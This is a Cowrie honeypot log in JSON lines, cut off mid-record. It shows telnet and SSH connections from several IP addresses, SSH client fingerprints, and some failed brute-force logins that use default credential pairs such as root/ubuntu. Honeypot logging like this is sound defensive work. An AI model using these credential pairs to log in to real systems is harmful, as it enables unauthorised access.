{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":41516,"dst_ip":"159.203.135.109","dst_port":23,"session":"662d2842afc9","protocol":"telnet","message":"New connection: 35.187.38.22:41516 (159.203.135.109:23) [session: 662d2842afc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:12.483106Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":43592,"dst_ip":"159.203.135.109","dst_port":23,"session":"00143d7e70d4","protocol":"telnet","message":"New connection: 46.4.8.162:43592 (159.203.135.109:23) [session: 00143d7e70d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:15.812024Z"}
{"eventid":"cowrie.session.closed","duration":30.81462025642395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:16.045166Z","src_ip":"94.23.76.26","session":"eaa3d8f1aaed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026735544204712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:17.331313Z","src_ip":"35.187.38.22","session":"69935b1a0f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":43598,"dst_ip":"159.203.135.109","dst_port":23,"session":"d785fef965e0","protocol":"telnet","message":"New connection: 46.4.8.162:43598 (159.203.135.109:23) [session: d785fef965e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:18.226174Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":43608,"dst_ip":"159.203.135.109","dst_port":23,"session":"030c05ceeef4","protocol":"telnet","message":"New connection: 46.4.8.162:43608 (159.203.135.109:23) [session: 030c05ceeef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:19.090494Z"}
{"eventid":"cowrie.session.closed","duration":30.136858701705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:21.065485Z","src_ip":"94.23.76.26","session":"e41461bbe268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37206,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c741fac5d45","protocol":"ssh","message":"New connection: 159.203.92.129:37206 (159.203.135.109:22) [session: 3c741fac5d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:22.563918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:22.568861Z","src_ip":"159.203.92.129","session":"3c741fac5d45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:22.579317Z","src_ip":"159.203.92.129","session":"3c741fac5d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":43610,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb84117a4ad","protocol":"telnet","message":"New connection: 46.4.8.162:43610 (159.203.135.109:23) [session: 1bb84117a4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:22.586261Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"public","message":"login attempt [admin/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:22.598456Z","src_ip":"159.203.92.129","session":"3c741fac5d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:23.604924Z","src_ip":"159.203.92.129","session":"3c741fac5d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52496361732483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:24.215607Z","src_ip":"35.187.38.22","session":"13b99dc31ff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":41460,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fb59293cc02","protocol":"ssh","message":"New connection: 103.148.100.146:41460 (159.203.135.109:22) [session: 1fb59293cc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:24.859392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:24.863658Z","src_ip":"103.148.100.146","session":"1fb59293cc02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8948392868042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:25.109009Z","src_ip":"94.23.76.26","session":"26b20e347f6d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:25.126529Z","src_ip":"103.148.100.146","session":"1fb59293cc02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":51435,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd3ff9f9fb2","protocol":"ssh","message":"New connection: 223.197.186.7:51435 (159.203.135.109:22) [session: 4bd3ff9f9fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:26.040737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:26.045372Z","src_ip":"223.197.186.7","session":"4bd3ff9f9fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aabb1122","message":"login attempt [root/aabb1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:26.215578Z","src_ip":"103.148.100.146","session":"1fb59293cc02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:26.269658Z","src_ip":"223.197.186.7","session":"4bd3ff9f9fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78877878189087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:27.066036Z","src_ip":"185.207.251.163","session":"488cd29b2b05","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator","message":"login attempt [root/Administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:27.257812Z","src_ip":"223.197.186.7","session":"4bd3ff9f9fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:27.481770Z","src_ip":"103.148.100.146","session":"1fb59293cc02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:28.479223Z","src_ip":"223.197.186.7","session":"4bd3ff9f9fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.689383029937744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:29.106449Z","src_ip":"185.207.251.163","session":"8d62111caf30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98356580734253,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:29.267190Z","src_ip":"46.4.8.162","session":"d49b03deef98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98049569129944,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:29.468633Z","src_ip":"46.4.8.162","session":"2d19e1c627d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72870326042175,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:30.108452Z","src_ip":"188.166.220.49","session":"5fad43ef162b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.681570291519165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:30.409829Z","src_ip":"46.4.8.162","session":"5b582fecaf6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764857053756714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:31.209163Z","src_ip":"94.23.76.26","session":"6e8fdd67abc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562811136245728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:37.459767Z","src_ip":"46.4.8.162","session":"a30ce306fc42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71884250640869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:40.058500Z","src_ip":"94.23.76.26","session":"c284b85ec691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38860,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2be5c69e892","protocol":"telnet","message":"New connection: 46.4.8.162:38860 (159.203.135.109:23) [session: c2be5c69e892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:40.527638Z"}
{"eventid":"cowrie.session.closed","duration":30.793988704681396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:42.103074Z","src_ip":"185.207.251.163","session":"40dd83d30b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67968773841858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:43.162605Z","src_ip":"35.187.38.22","session":"662d2842afc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56444,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d4a24e1e032","protocol":"telnet","message":"New connection: 94.23.76.26:56444 (159.203.135.109:23) [session: 4d4a24e1e032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:44.538763Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":56808,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdea99a0a492","protocol":"telnet","message":"New connection: 46.4.8.162:56808 (159.203.135.109:23) [session: fdea99a0a492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:45.303597Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58470,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f26f8da12ff","protocol":"telnet","message":"New connection: 188.166.220.49:58470 (159.203.135.109:23) [session: 0f26f8da12ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:47.800014Z"}
{"eventid":"cowrie.session.closed","duration":32.412962913513184,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:48.224873Z","src_ip":"46.4.8.162","session":"00143d7e70d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.647948026657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:50.738326Z","src_ip":"46.4.8.162","session":"030c05ceeef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":56822,"dst_ip":"159.203.135.109","dst_port":23,"session":"a94b5bcb403c","protocol":"telnet","message":"New connection: 46.4.8.162:56822 (159.203.135.109:23) [session: a94b5bcb403c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:51.233813Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":56836,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb070fa075b","protocol":"telnet","message":"New connection: 46.4.8.162:56836 (159.203.135.109:23) [session: 3bb070fa075b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:51.485709Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.130.162.246","src_port":55812,"dst_ip":"159.203.135.109","dst_port":22,"session":"c49a9ebb706f","protocol":"ssh","message":"New connection: 61.130.162.246:55812 (159.203.135.109:22) [session: c49a9ebb706f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:51.666976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:51.679237Z","src_ip":"61.130.162.246","session":"c49a9ebb706f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:51.920421Z","src_ip":"61.130.162.246","session":"c49a9ebb706f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:52.640731Z","src_ip":"61.130.162.246","session":"c49a9ebb706f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.759339094161987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:53.345503Z","src_ip":"46.4.8.162","session":"1bb84117a4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59186,"dst_ip":"159.203.135.109","dst_port":23,"session":"4636956a3468","protocol":"telnet","message":"New connection: 46.4.8.162:59186 (159.203.135.109:23) [session: 4636956a3468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:53.417475Z"}
{"eventid":"cowrie.session.closed","duration":35.22283697128296,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:53.448817Z","src_ip":"46.4.8.162","session":"d785fef965e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:53.882955Z","src_ip":"61.130.162.246","session":"c49a9ebb706f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":40546,"dst_ip":"159.203.135.109","dst_port":23,"session":"7137a46bd94a","protocol":"telnet","message":"New connection: 188.166.220.49:40546 (159.203.135.109:23) [session: 7137a46bd94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:54.073289Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":46018,"dst_ip":"159.203.135.109","dst_port":23,"session":"673a374a04f5","protocol":"telnet","message":"New connection: 185.207.251.163:46018 (159.203.135.109:23) [session: 673a374a04f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:57.967434Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59202,"dst_ip":"159.203.135.109","dst_port":23,"session":"96a9ed4e1e51","protocol":"telnet","message":"New connection: 46.4.8.162:59202 (159.203.135.109:23) [session: 96a9ed4e1e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:01.965617Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38118,"dst_ip":"159.203.135.109","dst_port":23,"session":"067e904c4085","protocol":"telnet","message":"New connection: 46.4.8.162:38118 (159.203.135.109:23) [session: 067e904c4085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:05.504952Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59006,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43aad72203b","protocol":"ssh","message":"New connection: 159.203.92.129:59006 (159.203.135.109:22) [session: d43aad72203b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:08.702725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:25:08.744655Z","src_ip":"159.203.92.129","session":"d43aad72203b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-